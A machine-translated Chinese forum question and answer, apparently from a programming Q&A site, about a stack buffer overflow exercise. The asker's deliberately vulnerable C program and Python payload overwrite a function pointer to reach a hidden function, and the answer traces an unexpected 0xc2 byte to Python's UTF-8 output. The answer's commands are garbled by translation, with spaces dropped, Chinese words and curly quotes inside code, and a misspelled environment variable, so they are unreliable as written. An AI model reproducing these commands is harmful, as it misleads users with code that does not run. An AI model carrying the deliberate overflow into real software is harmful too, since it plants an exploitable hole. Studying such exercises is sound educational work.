我试图使用缓冲区溢出覆盖两个局部变量,以便调用隐藏函数。这是C代码。

#include <stdio.h>
#include <stdlib.h>

static void hidden_function(void)
{
    puts("I laugh in the face of danger. Ha ha ha ha!");
}

static void visible_function(void)
{
    puts("Knock, knock! Who's there? Recursion. Recursion who? Knock, knock!");
}

static void helper_function(void)
{
    void (*f_ptr)(void) = visible_function;
    unsigned int dumb_number = 0x12345678;
    char buffer[32];

    printf("Provide buffer input: ");
    fgets(buffer, 64, stdin);

    printf("Dumb number value is 0x%08x.\n", dumb_number);
    printf("Buffer is %s\n", buffer);

    f_ptr();
}

int main(void)
{
    helper_function();

    return 0;
}

这是我使用的Makefile。
CC = gcc
CFLAGS = -m32 -Wall -Wextra -Wno-unused-function -g -O0 -fno-stack-protector -no-pie
LDFLAGS = -m32

.PHONY: all clean

all: overflow_ptr

overflow_ptr: overflow_ptr.o
    $(CC) $(CFLAGS) -o $@ $<

overflow_ptr.o: overflow_ptr.c

clean:
    -rm -f overflow_ptr.o overflow_ptr
    -rm -f *~

运行nm overflow_ptr显示隐藏函数的地址如下:
080484a6 t hidden_function

所以我创建了以下负载:
python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")'

这应该使dump_number=0x87654321和f_ptr=0x080484a6。但是,当我运行这个程序时,输出是:
Provide buffer input: Dumb number value is 0xc2654321.

这让我想知道为什么c2被插入?我想这是某种保护措施。如果是的话,有什么办法可以防止呢?
我在Ubuntu上使用64位虚拟机。

最佳答案

您的Python可能默认使用UTF-8输入/输出编码,而不是ISO-8859-1。通过设置环境变量PYTHONIOENCODING
您可以使用以下命令运行overflow_ptr
echo$(pythonionecoding=“ISO-8859-1”python3-c'打印(32*“A”+“\x21\x43\x65\x87”+“\xa6\x84\x04\x08”))。/溢出
输出应为:

Provide buffer input: Dumb number value is 0x87654321.
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Ce���
I laugh in the face of danger. Ha ha ha ha!

我怀疑在你的系统上如果你要运行这个命令:
python3-c'打印(32*“A”+“\x21\x43\x65\x87”+“\xa6\x84\x04\x08”)'| od-tx1-v
输出如下:
0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 c2 87 c2 a6 c2 84 04 08 0a

您可能期望的输出是:
0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 87 a6 84 04 08 0a

您会注意到,在第一个输出中,所有>=0x80的值都转换为多个字节,每个字节都以0xc2开头。字符转换就是将意外的c2引入哑数值的原因。
笔记:
如果您希望避免Python在末尾添加额外的0x0a,那么可以告诉print函数通过这样做来消除它:
打印(32*“A”+“\x21\x43\x65\x87”+“\xa6\x84\x04\x08”,结束=”)
通过将end=""指定为print的参数,可以消除终止的0x0a(换行)字符。

08-19 12:33